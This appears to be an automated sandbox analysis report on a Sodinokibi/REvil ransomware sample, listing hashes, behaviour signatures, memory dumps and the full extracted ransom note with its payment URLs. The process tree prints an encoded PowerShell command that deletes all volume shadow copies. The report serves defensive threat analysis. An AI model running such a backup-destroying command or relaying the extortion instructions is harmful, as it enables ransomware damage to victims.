Overview

overview

10

Static

static

10

017b236bf3...d6.exe

windows7-x64

10

05676f2007...fb.exe

windows7-x64

3

0a025116a8...57.exe

windows7-x64

8

1.exe

windows7-x64

8

18674bbd9a...38.exe

windows7-x64

8

234901adb1...b2.exe

windows7-x64

10

2ae06537d1...b6.exe

windows7-x64

8

2c02c65090...91.exe

windows7-x64

7

3.exe

windows7-x64

10

329b3ddbf1...f9.exe

windows7-x64

10

336fe6e8bc...de.exe

windows7-x64

8

4bd31921c8...be.exe

windows7-x64

8

4e180437ef...a9.exe

windows7-x64

1

539b0b5d54...05.exe

windows7-x64

10

53bf3a0bff...35.exe

windows7-x64

8

$PLUGINSDIR/INetC.dll

windows7-x64

3

5d63c27043...42.exe

windows7-x64

8

$PLUGINSDIR/INetC.dll

windows7-x64

3

5d6e1eeab9...84.exe

windows7-x64

8

63136e1d44...b5.exe

windows7-x64

8

658110c095...6f.exe

windows7-x64

8

74cafa4165...c5.exe

windows7-x64

8

88bf025119...30.exe

windows7-x64

5

9fbf62bd6a...a0.exe

windows7-x64

9

a89591555b...df.exe

windows7-x64

10

add230a2e7...10.exe

windows7-x64

10

c83bf900eb...31.exe

windows7-x64

10

ccbf53569b...71.exe

windows7-x64

8

db725306e6...8b.exe

windows7-x64

10

e035a1741d...5f.exe

windows7-x64

7

e2f4dfe61d...f8.exe

windows7-x64

8

f10e957b92...41.exe

windows7-x64

8

Analysis

  • max time kernel
    315s
  • max time network
    317s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 13:10

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    db725306e6d15f5f339c2b5dc9c2daf7e11957e93e8cc9c71319c0a432e6358b.exe

  • Size

    164KB

  • MD5

    9a2888ddc389ecde165446d6e3c27f80

  • SHA1

    bf77c02c5a58b5efb29db4191f7e38853dcc3c90

  • SHA256

    db725306e6d15f5f339c2b5dc9c2daf7e11957e93e8cc9c71319c0a432e6358b

  • SHA512

    9473b40f0b50d3960395e59ca23b8809cb982185f684989d1641c9193c8d2325d2d0843e66421bfdedac26e850bb3d4a9abae06741f7dfb11cf402abcfbdf3b7

  • SSDEEP

    3072:FHixaVZFiOCDJtOicNDWEzZC6cau/SCBB:FHigLF5CCj5zZC1SC/

Score
10/10
sodinokibidiscoveryransomwarespywarestealer

Malware Config

Extracted

Path

C:\Users\e99x17132-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension e99x17132. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/064E0B6786239CD7 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/064E0B6786239CD7 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: pSiqBwJWhWHI4qA9U8RiWbbgqGCD+tj+aoTbB/Z2af7oxKKKOls5zgT0cBeQBJDw yw86Bod0EGyMnZ4cXRXRu+MwuwH3H7v3XUCatDQifbyShEFxgYvcRhdJQ8GWFiXn qra1B8NYit5OgtBvKL1ff6+Sem0FNTvJfTRtDgLALZbQyfYZjNJFpeUjiuhhYua0 eQwxpN6pksIDdYvxdp1uO4r3dvJEXvGhqfmvFIDRGmhQY1D4HFuf5lk2UCv5HfUD ZyDVrprvi1gnn7Brkg2m0CJTW/g0dld5266K4oKWFrDxMetgMCklv2dDIMWusEjm qfDbw5FjaI1Z9DJWLpquF1IbWXVL0jy7Fb2gT4zSjD4JxfIWvvttoI6dtbC5o8fx 4XhBtnbsdFaKjX/Kd+WEvt+UVl94qPCQSiK9VFlbh2BUXPRI66U+s0Q3Db02wVpE kbziG6tzJ/BHn57l3CHqkPJTMmNXsJzwSmSRb1YIY7FWMnBszyyxP1uqqHq0m6kf ExGDiErcq1vm3P+0hI/ajd4B1p6olCFg8PjVgfc4CihdCpE9kkE7bUUQPH+ampXh H6SBqjXlHhILN8Npm7CguCqZ6kSFOhnzukrkASVncZL1D35CN81dYalXdcx++pb9 w4mi0vLaqfNulWzZ0ItJnbM0XgI7IIO779xRtT0GCNRdrfdyg+AvlGKMzawvPv7N el95dmTkhKCc9G6AVvQJpqXdQQ5Mp5wj+yzwY0HR9byBEutwbHgjnaLsCSi6xcDy ZGnks5vhotFpj2X4lqxdU2pk3AadWeNvuWx0pzaY/9IJGeP0f3wZk3Jgf0oPVhwx Wvzzj41zzKC4WHy6ow/D75vVTx2qxcGY0VDkVRNUe/AvyWk4QxV9z2pshY3RCjJz SGIKC3Gtec3Q9537nhFWWzvzozry+ZWQGl9APWyc8kVVtWVOwGtac/HpqyHzs5iX MZfJX8dWiglijYIafHWqYkkb7Nnx2bu58ApFIWf7ZLXfuub9wYyM0QqRFjBRGmMS Tb5GlKuxLq8JMeeemySnAfRsuvU47sLYWZM5z6O5c/37UkXPXOG/Kot39HNKAB5/ X0CgpR3OkgKPabjtLao5Koaz+zJpmMqwoeuXlKhorP5h1m9jgeywrisUIIRZOpVd DqUfCEy9+2OdCpC3gEhMxOPE4y8X9pVOkjaQWZ/1NJygHv6AAu01R23tsZSiCKv/ F+cSJewpwjHnCz/U+/B4p3l6 Extension name: e99x17132 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/064E0B6786239CD7

http://decryptor.top/064E0B6786239CD7

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

    ransomwaresodinokibi
  • Sodinokibi family
    sodinokibi
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 32 IoCs
  • Drops file in Windows directory 64 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\db725306e6d15f5f339c2b5dc9c2daf7e11957e93e8cc9c71319c0a432e6358b.exe
    "C:\Users\Admin\AppData\Local\Temp\db725306e6d15f5f339c2b5dc9c2daf7e11957e93e8cc9c71319c0a432e6358b.exe"
    1⤵
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2268
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2688
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:2968
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1620
    • C:\Windows\system32\NOTEPAD.EXE
      "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Desktop\e99x17132-readme.txt
      1⤵
        PID:2204

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\e99x17132-readme.txt
        Filesize

        6KB

        MD5

        5bdf1e0c6bd1f8a91b961fbb16494a9f

        SHA1

        c20960a80c93600c430947fe1ca30bf8690fa306

        SHA256

        d3a22da48095e308e1ec1cc1eb590e2418722f711555c1e2ed354c41b029b0a7

        SHA512

        936867e80614537fcc6f64285a542306a6450550508f69d281821ba82e184084df819bca280feb4af3eaef91812caec4e19b3aa8f6503f1f225e48b21e6af768

        Download Submit

      • memory/2268-3-0x0000000002130000-0x00000000021CF000-memory.dmp

        Filesize

        636KB

        Download

      • memory/2268-4-0x00000000022E0000-0x000000000240D000-memory.dmp

        Filesize

        1.2MB

        Download

      • memory/2268-12-0x00000000000B0000-0x00000000000B6000-memory.dmp

        Filesize

        24KB

        Download

      • memory/2268-5-0x0000000000330000-0x000000000034F000-memory.dmp

        Filesize

        124KB

        Download

      • memory/2268-6-0x00000000026A0000-0x00000000027A9000-memory.dmp

        Filesize

        1.0MB

        Download

      • memory/2268-7-0x00000000000B0000-0x00000000000B6000-memory.dmp

        Filesize

        24KB

        Download

      • memory/2268-8-0x0000000000080000-0x0000000000081000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2268-9-0x0000000000090000-0x0000000000091000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2268-11-0x00000000000B0000-0x00000000000B6000-memory.dmp

        Filesize

        24KB

        Download

      • memory/2268-0-0x0000000000070000-0x000000000007A000-memory.dmp

        Filesize

        40KB

        Download

      • memory/2268-1-0x0000000000070000-0x000000000007A000-memory.dmp

        Filesize

        40KB

        Download

      • memory/2268-2-0x0000000002060000-0x0000000002129000-memory.dmp

        Filesize

        804KB

        Download

      • memory/2268-10-0x00000000000A0000-0x00000000000A1000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2268-26-0x00000000000A0000-0x00000000000A1000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2688-20-0x0000000001E80000-0x0000000001E88000-memory.dmp

        Filesize

        32KB

        Download

      • memory/2688-21-0x000007FEF6C40000-0x000007FEF75DD000-memory.dmp

        Filesize

        9.6MB

        Download

      • memory/2688-22-0x000007FEF6C40000-0x000007FEF75DD000-memory.dmp

        Filesize

        9.6MB

        Download

      • memory/2688-23-0x000007FEF6C40000-0x000007FEF75DD000-memory.dmp

        Filesize

        9.6MB

        Download

      • memory/2688-24-0x000007FEF6C40000-0x000007FEF75DD000-memory.dmp

        Filesize

        9.6MB

        Download

      • memory/2688-25-0x000007FEF6C40000-0x000007FEF75DD000-memory.dmp

        Filesize

        9.6MB

        Download

      • memory/2688-19-0x000000001B550000-0x000000001B832000-memory.dmp

        Filesize

        2.9MB

        Download

      • memory/2688-18-0x000007FEF6EFE000-0x000007FEF6EFF000-memory.dmp

        Filesize

        4KB

        Download